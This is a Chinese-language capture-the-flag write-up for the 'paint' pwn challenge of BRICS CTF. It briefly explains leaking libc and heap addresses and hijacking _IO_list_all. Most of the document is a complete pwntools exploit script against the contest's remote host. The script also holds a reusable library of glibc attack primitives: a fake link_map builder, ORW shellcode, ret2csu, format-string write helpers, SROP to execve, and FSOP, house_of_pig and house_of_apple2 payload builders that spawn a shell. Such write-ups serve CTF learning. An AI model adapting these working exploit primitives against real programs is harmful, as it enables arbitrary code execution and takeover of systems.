0%

brics-ctf-pwn paint题解

思路

观察add函数可知,idx随便溢,bss段附近有stdout@GLIBC_2_2_5和stdin@GLIBC_2_2_5

可以将libc基址leak出来

多次leak出来之后可以发现远程版本是2.35(和ubuntu22.04默认链接下是一样的libc

接着是需要leak出堆地址

tcache在高版本会有个key,跟在fd后面,只要利用rate函数里的comment,多弄几个大小为0x30的堆,造成堆块管理混乱,就可以leak出key的值,没有指向的时候key的值为L >> 12

其中L是tcachebin的addr,然后再<<12即可得到堆的初始地址

leak完libc和heap之后,得想办法挟持_IO_list_all或_chain

bss段里面有个magic_value

→__dso_handle

这个东西会指向自己,然后利用rate即可在bss区写入一个完全可控的堆地址,之后往堆地址对应的地方填入_IO_list_all,然后draw即可

高版本打house_of_apple two即可(堆块完全可控 😵

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "paint-71ae86dc10a3fe17.brics-ctf.ru"
remote_port = "13003"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename, stdin=PTY)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0)*4 + p64(heap_base + 0x100) + p64(0) + p64(0) + p64(0) * (28-7)
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*14
return (fake_IO_FILE, pad, payload)

prefix = "6. Delete canvas"

def show(index):
sla(prefix, b'4')
sla("Enter idx: ", str(index))

def add(index, width, height):
sla(prefix, b'1')
sla("Enter idx: ", str(index))
sla("Enter canvas width (1-255): ", str(width))
sla("Enter canvas height (1-255): ", str(height))

def delete(index):
sla(prefix, b'6')
sla("Enter idx: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("Enter idx: ", str(index))
sa("Enter your picture (`width` chars in `height` lines): ", payload)

def rate(index, rate, comment, payload):
sla(prefix, b'5')
sla("Enter idx: ", str(index))
sla("Enter rate: ", str(rate))
sla("Leave comment (y/n): ", comment)
sa("Enter your comment: ", payload)

def resize(index, width, height):
sla(prefix, b'2')
sla("Enter idx: ", str(index))
sla("Enter new width (1-255): ", str(width))
sla("Enter new height (1-255): ", str(height))

def exit():
sla(prefix, b'666')

"""leak libc"""
show(-2)

leak_dat = leak()
log(hex(leak_dat))

libc_base = leak_dat - (0x7f510501ba80 - 0x7f5104e00000)
log(hex(libc_base))

"""leak heap"""
add(0, 0x10, 2)
rate(0, 1, 'y', b'a'*0x20)
rate(0, 1, 'y', b'b'*0x30)
delete(0)
add(0, 0x10, 2)
show(0)

ru("Picture: \n")
heap_base = u64(r(5).ljust(8, b'\x00')) # L >> 12 补回去刚好是heap_base
heap_base = heap_base << 12
log(hex(heap_base << 12))

"""house of apple 2"""
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
wide_data_entry = heap_base + 0x500
wide_data_vtable_entry = heap_base + 0x640

payloads = house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, libc_base + libc.sym['system'])

"""wide_data / vtable"""
rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(libc_base + libc.sym['_IO_list_all']))
edit(-5, p64(heap_base + 0x3c0)) # _IO_list_all

add(3, 0xff, 1)
edit(3, payloads[0])

add(4, 0xff, 1)
edit(4, payloads[1])

add(5, 0xff, 1)
edit(5, payloads[2])
# bpp()

exit()

"""past"""

ia()